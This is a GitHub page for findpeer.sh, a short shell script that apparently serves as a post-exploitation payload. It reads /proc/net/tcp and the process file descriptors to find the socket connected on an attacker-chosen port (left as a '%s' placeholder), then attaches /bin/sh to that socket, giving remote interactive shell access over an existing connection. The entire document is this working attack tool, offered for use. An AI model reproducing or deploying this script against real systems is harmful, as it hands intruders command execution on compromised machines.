-
Notifications
You must be signed in to change notification settings - Fork 1
/
findpeer.sh
35 lines (30 loc) · 867 Bytes
/
findpeer.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PORT="%s" #HARDCODE YOUR PORT HERE IN REVERSE HEXIDECIMAL
ADDRS=$(echo $(cat /proc/net/tcp | tail -n +2 | awk '{print $3}') );
INODES=$(echo $(cat /proc/net/tcp | tail -n +2 | awk '{print $10}') );
TCP=$(cat /proc/net/tcp | tail -n +2);
PPIDS=$(ps | tail -n +2 | awk '{print $1}');
SOCKET_FDS=""
for pid in $PPIDS;
do
SOCKET_FDS=$(ls -la /proc/$pid/fd | awk '/socket/' | awk '{print $9,$11}' | tr -d 'socket:[]');
if [ ! -z "$SOCKET_FDS" ];
then
break;
fi
done
REVSH () {
`/bin/sh <&$1 >&$1 2>&$1`
}
echo "${TCP}" |
while read -r tcpline; do
echo "${SOCKET_FDS}" |
while read -r fdline; do
INODE=$(echo "${fdline}" | awk '{print $2}');
FD=$(echo "${fdline}" | awk '{print $1}');
case "$tcpline" in
*"${INODE}"* ) case "$tcpline" in
*"${PORT}"* ) REVSH $FD; exit 1;;
esac
esac
done
done